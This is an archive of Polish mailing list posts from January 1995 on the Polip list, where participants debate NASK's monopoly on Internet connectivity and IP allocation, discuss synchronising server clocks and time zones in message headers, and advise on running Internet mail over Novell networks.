References: <3f5frm$dil@galaxy.uci.agh.edu.pl>, <3fe1a0$mkv@sun1000.ci.pwr.wroc.pl>, <3ffv6m$862@galaxy.uci.agh.edu.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)

piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote:
: Jarek Lis (lis@asic.ict.pwr.wroc.pl) wrote:
: : : : > 
: : : Co wiecej Nask to tylko uslugodawca, place i wymagam. 
: : : I odmowic uslugi bez powodu tez chyba nie moze, (jak i podlaczenia do
: : : sieci innego operatora).

: : Hm... Jak sama nazwa wskazuje, NASK (Naukowo-Akademicka..) raczej nie sluzy
: : do podlaczania wszystkich. I pewnie mialby ochote, zeby sie konkurencja
: : znalazla, bo wtedy moglby zawsze powiedziec - nie podoba sie - to idzcie do
: : innego.

: Nazwa rzeczywiscie ...bardzo ladna;-)
: Ale ....
: Tylko Nask przydziela w Polsce numery IP.
: Wyscie na swiat jest tylko przez NASK.

Oczywiscie, bo NASK jest pierwszy, i jak na razie jedyny. Czy NASK
ma gdzies zagwarantowany/obiecany monopol na lacza zagraniczne?

: W momencie powstania innej sieci szkiletowej
: innego operatora, nie bedzie mogl odmowic
: dolaczenia jej do swojej sieci. (sytuacja hipopetyczna
: po wprowadzeniu w zycie ustawy o lacznosci) 

Hm... Nie znam odpowiednich przepisow, ale nie podejrzewam, aby tam sie
taki zapis znalazl ('NASK (czy dowolny operator) NIE MOZE odmowic
podlaczenia do sieci'). Dalej zostaje sprawa kosztow takiego dolaczenia,
Nask moze sobie tyle policzyc, ze sie niektorym odechce.

: zrob finger @sam.nask.com.pl.

Zrobilem, i nie widze nic ciekawego/podejrzanego.

: wiec nie ma co udawac, ze w tej chwili to tylko sieci akademickie.
: Sam chcialbym aby Nask nie byl jedynym operatorem i dostawca IP. 
: Bedzie ustawa, beda inne firmy dajace dostep do Internetu.
: Chyba, ze w ustawie napiszemy, ze jest juz taka instytucja 
: wiec innych nie potrzebujemy ;-)

: I nie zapomne pomyslu utrudniania dostepu do internetu, bo
: Nask wie lepiej co jest komu potrzebne. A i ruch w sieci
: bedzie wtedy mniejszy.

Mowiac szczerze, to ja troche NASK rozumiem. Jak sie jest instytucja
panstwowa, powolana w okreslonym celu, to wykraczanie poza ten cel
jest niebezpieczne. Podlaczanie instytucji prywatnych jest ryzykowne,
a niepodlaczanie ich tez. Wiec najlepiej je 'zniechecic'.
I nadal najlepszym wyjsciem bylby drugi 'provider' ktory zdjal by z NASK
ciezar monopolu.


Jarek.
From krzysio@hebe.umcs.lublin.pl Tue Jan 17 13:05:09 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09301; Tue, 17 Jan 95 13:01:49 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id MAA05852 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 12:04:24 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501171204.MAA05852@hebe.umcs.lublin.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 13:04:23 +0100 (MET)
In-Reply-To: <3fg96d$7td@sun1000.ci.pwr.wroc.pl> from "Jarek Lis" at Jan 17, 95 12:46:39 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 3127      

Jarek Lis wrote:
> 
> : Nazwa rzeczywiscie ...bardzo ladna;-)
> : Ale ....
> : Tylko Nask przydziela w Polsce numery IP.
> : Wyscie na swiat jest tylko przez NASK.
> Oczywiscie, bo NASK jest pierwszy, i jak na razie jedyny. Czy NASK
> ma gdzies zagwarantowany/obiecany monopol na lacza zagraniczne?

Na razie, od wielu lat ma faktyczny monopol. Co wiecej dosc starannie
sie bronil, gdy chciano ten monopol zlamac poprzez np. zainstalowanie
niezaleznego lacza z Krakowa do Austrii. Slyszalem kiedys o takiej
wlasnie inicjatywie.

> : W momencie powstania innej sieci szkiletowej
> : innego operatora, nie bedzie mogl odmowic
> : dolaczenia jej do swojej sieci. (sytuacja hipopetyczna
> : po wprowadzeniu w zycie ustawy o lacznosci) 
> Hm... Nie znam odpowiednich przepisow, ale nie podejrzewam, aby tam sie
> taki zapis znalazl ('NASK (czy dowolny operator) NIE MOZE odmowic
> podlaczenia do sieci'). Dalej zostaje sprawa kosztow takiego dolaczenia,
> Nask moze sobie tyle policzyc, ze sie niektorym odechce.

Wlasnie. A to sie nazywa fachowo: "praktykami monopolistycznymi". Swoja
droga jest tez ustawa traktujaca o tym. :)

> : zrob finger @sam.nask.com.pl.
> Zrobilem, i nie widze nic ciekawego/podejrzanego.

Wiekszosc uzytkownikow tej maszyny, to uzytkownicy komercyjni nie majacy
nic wspolnego z sieciami akademickimi.

> : wiec nie ma co udawac, ze w tej chwili to tylko sieci akademickie.
> : Sam chcialbym aby Nask nie byl jedynym operatorem i dostawca IP. 
> : Bedzie ustawa, beda inne firmy dajace dostep do Internetu.
> : Chyba, ze w ustawie napiszemy, ze jest juz taka instytucja 
> : wiec innych nie potrzebujemy ;-)
> : I nie zapomne pomyslu utrudniania dostepu do internetu, bo
> : Nask wie lepiej co jest komu potrzebne. A i ruch w sieci
> : bedzie wtedy mniejszy.
> Mowiac szczerze, to ja troche NASK rozumiem. Jak sie jest instytucja
> panstwowa, powolana w okreslonym celu, to wykraczanie poza ten cel
> jest niebezpieczne.

Wlasnie.. i w ramach tego celu swiadczy sie komercyjne uslugi za bardzo
wysokie ceny (srednio 10x wyzsze niz w innych krajach - byla kiedys na
ten temat dluga dyskusja na liscie).

> Podlaczanie instytucji prywatnych jest ryzykowne,
> a niepodlaczanie ich tez. Wiec najlepiej je 'zniechecic'.
> I nadal najlepszym wyjsciem bylby drugi 'provider' ktory zdjal by z NASK
> ciezar monopolu.

Dokladnie! Najwyzszy czas, aby ktos mial prawo to zrobi i aby to jednak
zrobil. Monopol tak czy owak zawsze tworzy bardzo niezdrowa sytuacje.

						Pozdrawiam,
						   -Krzysio
--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 13:41:48 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10347; Tue, 17 Jan 95 13:41:39 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA09862 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 13:27:34 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 12:18:24 GMT
From: artur@thp2.if.uj.edu.pl (Artur Pioro)
Message-Id: <ARTUR.95Jan17131824@thp2.if.uj.edu.pl>
Organization: Physics Department of Jagiellonian University, Cracow, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501151839.AA00044@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu

>>>>> "Krzysztof"==Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl> writes:

Krzysztof> Hmmm... bardzo cool, tylko czy w *.pl jest choc jeden
Krzysztof> system w sieci korzystajacy z powyzszych??? (Ma sie
Krzysztof> rozumiec z wyjatkiem punktu: "2) zeby uniknac potem szoku
Krzysztof> ze poczta doszla przed wyslaniem.."

Ostatnio pojawil sie dobitny przyklad potrzeby synchronizacji czasu na
naszej wlasnej liscie, tyle ze w watku 'MX'. Gdy sporo osob pisze
uzywajac klientow, ktore nie dolaczaja naglowka 'References'
umozliwiajacego `watkowanie', a na dodatek Polip jest czasciowo lista,
a czesciowo newsgroupa (co moze byc dodatowym poowodem zaburzania
kolejnosci nadchodzenia artykulow), to chyba najlepszym sposobem
zorientowania sie w przebiegu dyskusji jest sortowanie artykulow
wedlug ich czasu nadania... Ale co poczac, kiedy np. posting Rafala
(<3feenm$t3n@Waldemar.mat.uni.torun.pl>) na temat `to MX or not to MX
i jak?' jest datowany jako '16 Jan 1995 18:43:02 GMT', a odpowiedz
Jarka (<1A3767634D@inf.wsp.krakow.pl>) ma date '16 Jan 95 17:15:15
GMT'? Czyzby ktos nie zmienil czasu letniego na zimowy? Grrrrrr....

Moze by tak synchronizacje czasu w Polsce dolaczyc do 'listy
aktualnych problemow' Macka i na dodatek ten problem z marszu
rozwiazac (bo nie jest to chyba trudne)... Tylko zeby znalezc w Polsce
jakis server czasu...

-- Artur
From krzysio@hebe.umcs.lublin.pl Tue Jan 17 13:56:48 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11073; Tue, 17 Jan 95 13:53:13 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id MAA06080 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 12:55:46 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501171255.MAA06080@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 13:55:46 +0100 (MET)
In-Reply-To: <ARTUR.95Jan17131824@thp2.if.uj.edu.pl> from "Artur Pioro" at Jan 17, 95 01:45:47 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2148      

Artur Pioro wrote:
> 
> >>>>> "Krzysztof"==Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl> writes:
> Krzysztof> Hmmm... bardzo cool, tylko czy w *.pl jest choc jeden
> Krzysztof> system w sieci korzystajacy z powyzszych??? (Ma sie
> Krzysztof> rozumiec z wyjatkiem punktu: "2) zeby uniknac potem szoku
> Krzysztof> ze poczta doszla przed wyslaniem.."
> 
[...]

> zorientowania sie w przebiegu dyskusji jest sortowanie artykulow
> wedlug ich czasu nadania... Ale co poczac, kiedy np. posting Rafala
> (<3feenm$t3n@Waldemar.mat.uni.torun.pl>) na temat `to MX or not to MX
> i jak?' jest datowany jako '16 Jan 1995 18:43:02 GMT', a odpowiedz
> Jarka (<1A3767634D@inf.wsp.krakow.pl>) ma date '16 Jan 95 17:15:15
> GMT'? Czyzby ktos nie zmienil czasu letniego na zimowy? Grrrrrr....

Tiaa... a do tego jeszcze to GMT.... Mi sie zawsze wydawalo, ze u nas to
jest MET..., ale moze ja za lame jestem? :)

> Moze by tak synchronizacje czasu w Polsce dolaczyc do 'listy
> aktualnych problemow' Macka i na dodatek ten problem z marszu
> rozwiazac (bo nie jest to chyba trudne)... Tylko zeby znalezc w Polsce
> jakis server czasu...
> 
Ktos pisal o taki serverze dla Poznania. Sek w tym, ze niektore lacza w
Polsce sa nadal b. wolne i niestety przydaly by sie lokalne servery w
roznych czesciach Kraju. Oprocz tego nadal pozostaje problem
zobligowania administratorow kolejnych maszyn do prawidlowego
skonfigurowania strefy czasowej oraz zainteresowania sie wogole samym
tematem daty i czasu systemowego.

					Pozdrawiam,
					    -Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 14:24:40 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12036; Tue, 17 Jan 95 14:23:44 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA10684 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 14:17:38 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 12:53:03 GMT
From: marcin@pk-siec.oeto.pk.edu.pl (Marcin Klimowski)
Message-Id: <3fgejf$ptd@galaxy.uci.agh.edu.pl>
Organization: Cracow University of Technology
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501151839.AA00044@hebe.umcs.lublin.pl>, <ARTUR.95Jan17131824@thp2.if.uj.edu.pl>
Subject: Re: Ustawianie czasu

Artur Pioro (artur@thp2.if.uj.edu.pl) wrote:
: >>>>> "Krzysztof"==Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl> writes:

: Krzysztof> Hmmm... bardzo cool, tylko czy w *.pl jest choc jeden
: Krzysztof> system w sieci korzystajacy z powyzszych??? (Ma sie
: Krzysztof> rozumiec z wyjatkiem punktu: "2) zeby uniknac potem szoku
: Krzysztof> ze poczta doszla przed wyslaniem.."

wlasnie dostalem 5 listow, w tym jeden ze MIT, jeden z jakiejs maszyny u mnie na uczelni, i reszta z jeszcze jakiejs innej- wszystkie mialy bezsensowne daty.....

: rozwiazac (bo nie jest to chyba trudne)... Tylko zeby znalezc w Polsce
: jakis server czasu...
a ten kolo poznania, moze jest cos takiego centralniej ??


		Marcin;)
--
------------------------------------------------------------------------------
Marcin Klimowski | e-mail - marcin@oeto.pk.edu.pl | IRCNICK - Cinek
WWW home page -  http://www.pk.edu.pl/~marcin - still under construction......
------------------------------------------------------------------------------
		 	YOUR bus ALWAYS ARRIVES LATER :(
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 14:24:55 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12039; Tue, 17 Jan 95 14:23:49 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA10685 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 14:17:38 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 13:05:57 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3fgfbl$p3d@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3fe1a0$mkv@sun1000.ci.pwr.wroc.pl>, <3ffv6m$862@galaxy.uci.agh.edu.pl>, <3fg96d$7td@sun1000.ci.pwr.wroc.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)

Jarek Lis (lis@asic.ict.pwr.wroc.pl) wrote:
> piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote:
> : Tylko Nask przydziela w Polsce numery IP.
> : Wyscie na swiat jest tylko przez NASK.
> Oczywiscie, bo NASK jest pierwszy, i jak na razie jedyny. Czy NASK
> ma gdzies zagwarantowany/obiecany monopol na lacza zagraniczne?

Jezeli dobrze rozumiem ustawodawstwo (nie bede sie upieral, ze rozumiem,
bo nikt nie rozumie, z ministerstwem na czele) to zezwolen na lacza
zagraniczne sie nie udziela wcale - czyli moze je miec tylko TP SA.
Za to moze dzierzawic - chyba wszystkim?

> : W momencie powstania innej sieci szkiletowej
> : innego operatora, nie bedzie mogl odmowic
> : dolaczenia jej do swojej sieci. (sytuacja hipopetyczna
> : po wprowadzeniu w zycie ustawy o lacznosci) 
> Hm... Nie znam odpowiednich przepisow, ale nie podejrzewam, aby tam sie
> taki zapis znalazl ('NASK (czy dowolny operator) NIE MOZE odmowic
> podlaczenia do sieci'). Dalej zostaje sprawa kosztow takiego dolaczenia,
> Nask moze sobie tyle policzyc, ze sie niektorym odechce.

Operator swiadczacy uslugi publiczne nie moze. Ale skad wiadomo czy
uslugi danego operatora sa lasnie takie to nie wiem. Byc moze jest to
okreslone w uprawnienaich operatorskich. Przy okazji: czy ktos widzial
tekst takich uprawnien?

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 15:09:44 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13824; Tue, 17 Jan 95 15:06:32 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA11370 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 14:59:17 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 13:59:35 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3fgig7$iqn@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501171255.MAA06080@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

> Tiaa... a do tego jeszcze to GMT.... Mi sie zawsze wydawalo, ze u nas to
> jest MET..., ale moze ja za lame jestem? :)

  ---
  W naglowkach newsow podawany jest czas GMT, po to wlasnie zeby bylo 
  wiadomo KIEDY zostalo napisane i dotyczy to nawet tych z USA
  W
From RAJ@inf.wsp.krakow.pl Tue Jan 17 15:21:37 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14491; Tue, 17 Jan 95 15:21:20 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id PAA27587 for <polip@zsku.p.lodz.pl>; Tue, 17 Jan 1995 15:24:56 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Tue, 17 Jan 95 15:18:39 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 15:18:18 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Tue, 17 Jan 1995 15:18:09 GMT+0100
Subject:       Re: Palac Staszica - jaka siec lokalna wybrac?
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <118C6E3349@inf.wsp.krakow.pl>

> Date sent:      Mon, 16 Jan 95 22:33:29 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           WIENCH@plearn.edu.pl
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Palac Staszica - jaka siec lokalna wybrac?

> Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze
> na telnet i ftp. Bardzo odradzano mi Novella jako trudnego
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> do pogodzenia z jakimkolwiek oprogramowaniem.
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> Bede wdzieczny za wszelkie rady.
> 
????????????
Poczta internetowa przepieknie chodzi na Novellu, oprogramowanie od strony 
end usera jest niezwykle przyjazne (oczywiscie, troche trudniej z instalacja, 
ale mysle ze zawsze mozna znalezc kogos kto to zrobi) i do tego freeware.
Nie rozumiem tego kogos co ci odradzal Novella. Moze jemu samemu sie nie 
udalo, albo po prostu nie wiedzial o odpowiednim oprogramowaniu...
U nas na Novellu chodzi poczta, ftp serwer i cala masa "client software" na 
koncowkach: telnet, ftp, gopher, news, irc, talk, finger, Lynx, Mosaic i co 
tylko kto chce... Nie ma zadnych problemow.
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 16:04:48 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16101; Tue, 17 Jan 95 16:03:43 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA12076 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 15:50:57 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 14:45:44 GMT
From: lukasz@nask.org.pl (Mirek Luc)
Message-Id: <3fgl6o$70q@bilbo.nask.org.pl>
Organization: Research And Academic Computer Network
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501171204.MAA05852@hebe.umcs.lublin.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)


Jeden komentarz natury technicznej:

[...]

: Na razie, od wielu lat ma faktyczny monopol. Co wiecej dosc starannie
: sie bronil, gdy chciano ten monopol zlamac poprzez np. zainstalowanie
: niezaleznego lacza z Krakowa do Austrii. Slyszalem kiedys o takiej
: wlasnie inicjatywie.

Lacza miedzynarodwe prowadza przez Warszawe, a placi sie za dlugosc faktyczna, 
a nie odleglosc w linii prostej. Chyba nie ma wiec sensu robic drugiego,
dluzszego (drozszego) lacza w swiat?

[...]

: 						Pozdrawiam,
: 						   -Krzysio
: --
Pozdrawiam

-Lukasz

[...] (sig deleted)

From krzysio@hebe.umcs.lublin.pl Tue Jan 17 16:05:53 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16154; Tue, 17 Jan 95 16:04:48 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id PAA06781 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 15:05:51 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501171505.PAA06781@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 16:05:50 +0100 (MET)
In-Reply-To: <3fgig7$iqn@sun1000.ci.pwr.wroc.pl> from "Wojciech Myszka" at Jan 17, 95 04:00:34 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1254      

Wojciech Myszka wrote:
> 
> Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> 
> > Tiaa... a do tego jeszcze to GMT.... Mi sie zawsze wydawalo, ze u nas to
> > jest MET..., ale moze ja za lame jestem? :)
> 
>   ---
>   W naglowkach newsow podawany jest czas GMT, po to wlasnie zeby bylo 
>   wiadomo KIEDY zostalo napisane i dotyczy to nawet tych z USA

Wlasnie... i aby z tego w pelni korzystac wszyscy musieliby pisac na
Polip'a via newsy. Wielu jednak ludzi pisze korzystajac z e-mail'a (jako
i ja teraz czynie ;-)). Tak wiec tak czy tak, trzeba bedzie rozwiazac
problem konwersji czasow.

						Pozdrawiam,
						   -Krzysio
--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From piskozub@ocean.iopan.gda.pl Tue Jan 17 16:39:48 1995
Received: from ocean.iopan.gda.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17938; Tue, 17 Jan 95 16:38:27 +0100
Received:  by ocean.iopan.gda.pl (5.65/25-eef)
	id AA09733; Tue, 17 Jan 95 16:39:10 +0100
Return-Path: <piskozub@ocean.iopan.gda.pl>
From: Jacek Piskozub <piskozub@ocean.iopan.gda.pl>
Message-Id: <9501171539.AA09733@ocean.iopan.gda.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 16:39:09 +0100 (Poland)
In-Reply-To: <3fgl6o$70q@bilbo.nask.org.pl> from "Mirek Luc" at Jan 17, 95 04:34:07 pm
X-Mailer: ELM [version 2.4 PL21]
Content-Type: text
Content-Length: 364       

> 
> Lacza miedzynarodwe prowadza przez Warszawe, a placi sie za dlugosc faktyczna, 
> a nie odleglosc w linii prostej. Chyba nie ma wiec sensu robic drugiego,
> dluzszego (drozszego) lacza w swiat?
>

Glowne nasze lacze na swiat to linia satelitarna 2Mbps do Szwecji. Czy
naprawde placimy za okolo 2 razy 36000 km ? :-))))

Jacek Piskozub
piskozub@iopan.gda.pl
 
From krawczyk@kme.agh.edu.pl Tue Jan 17 16:54:48 1995
Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18900; Tue, 17 Jan 95 16:52:26 +0100
Return-Path: <krawczyk@kme.agh.edu.pl>
Received: by kme.agh.edu.pl (4.1/SMI-4.1)
	id AA04288; Tue, 17 Jan 95 16:49:47 +0100
From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk)
Organization: University of Mining and Metallurgy
Address: Mickiewicza 30, 30-059 Krakow, POLAND
Message-Id: <9501171549.AA04288@kme.agh.edu.pl>
Subject: Re: Ustawianie czasu
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 16:49:46 +0100 (MET)
In-Reply-To: <3fgejf$ptd@galaxy.uci.agh.edu.pl> from "Marcin Klimowski" at Jan 17, 95 02:47:21 pm
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 2020      

Marcin Klimowski pisze:
> 
> wlasnie dostalem 5 listow, w tym jeden ze MIT, jeden z jakiejs maszyny
> u mnie na uczelni, i reszta z jeszcze jakiejs innej- wszystkie mialy
> bezsensowne daty.....
> 
> : rozwiazac (bo nie jest to chyba trudne)... Tylko zeby znalezc w Polsce
> : jakis server czasu...
> a ten kolo poznania, moze jest cos takiego centralniej ??
> 
> 		Marcin;)
> ------------------------------------------------------------------------------
> Marcin Klimowski | e-mail - marcin@oeto.pk.edu.pl | IRCNICK - Cinek
> WWW home page -  http://www.pk.edu.pl/~marcin - still under construction......
> ------------------------------------------------------------------------------

Zagadnienie synchronizacji czasu uwazam za bardzo istotne. Argumenty jakie
przemawiaja za tym aby czas synchronizowac zostaly juz przytoczone: poczta
newsy, NFS, make, operacje czsowo-zalezne, mozliwosc sledzenia "wlamywaczy".
Problem powinien znalezc swoje miejsce w LAP.

Chcialbym zwrocic uwage, ze jest to problem, ktory mozna zalatwic
stosunkowo szybko. Nie wymaga bowiem srodkow finansowych, oraz innych
- wystarczy dobra koordynacja dzialan i organizacja. 

Problem szybkosci laczy (ktos o tym wspominal) nie jest chyba tak
na prawde problemem. Nie chodzi bowiem o zsynchronizowanie zegarow
co do ulamka sekundy. Dokladnosc rzedu kilku sekund jest zadawalajaca.
Zwyczajnie chodzi o to, aby nie zdarzaly sie sytuacje przytoczone
chocby przez pana Marcina powyzej.

Jesli zas przyjac hierarchie drzewiasta to mozna zalozyc, ze serwery
mniej oddalone od siebie (niekoniecznie fizycznie) beda mialy czas
zsynchronizowany lepiej. I tu pytanie do fachowcow:

Jaki model jest lepszy? Centralny timeserver i wszyscy z nim
synchronizuja, czy drzewo: serwer centralny, serwery uczelniane,
serwery w instytutach, katedrach (lokalne). Mnie sie osobiscie
ten drugi wydaje lepszy.

Grzegorz

-- 
Grzegorz Krawczyk                              krawczyk@kme.agh.edu.pl
University of Mining and Metallurgy       Chair of Electrical Machines
From krawczyk@kme.agh.edu.pl Tue Jan 17 16:59:48 1995
Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA19279; Tue, 17 Jan 95 16:58:11 +0100
Return-Path: <krawczyk@kme.agh.edu.pl>
Received: by kme.agh.edu.pl (4.1/SMI-4.1)
	id AA04323; Tue, 17 Jan 95 16:55:33 +0100
From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk)
Organization: University of Mining and Metallurgy
Address: Mickiewicza 30, 30-059 Krakow, POLAND
Message-Id: <9501171555.AA04323@kme.agh.edu.pl>
Subject: Re: Ustawianie czasu
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 16:55:32 +0100 (MET)
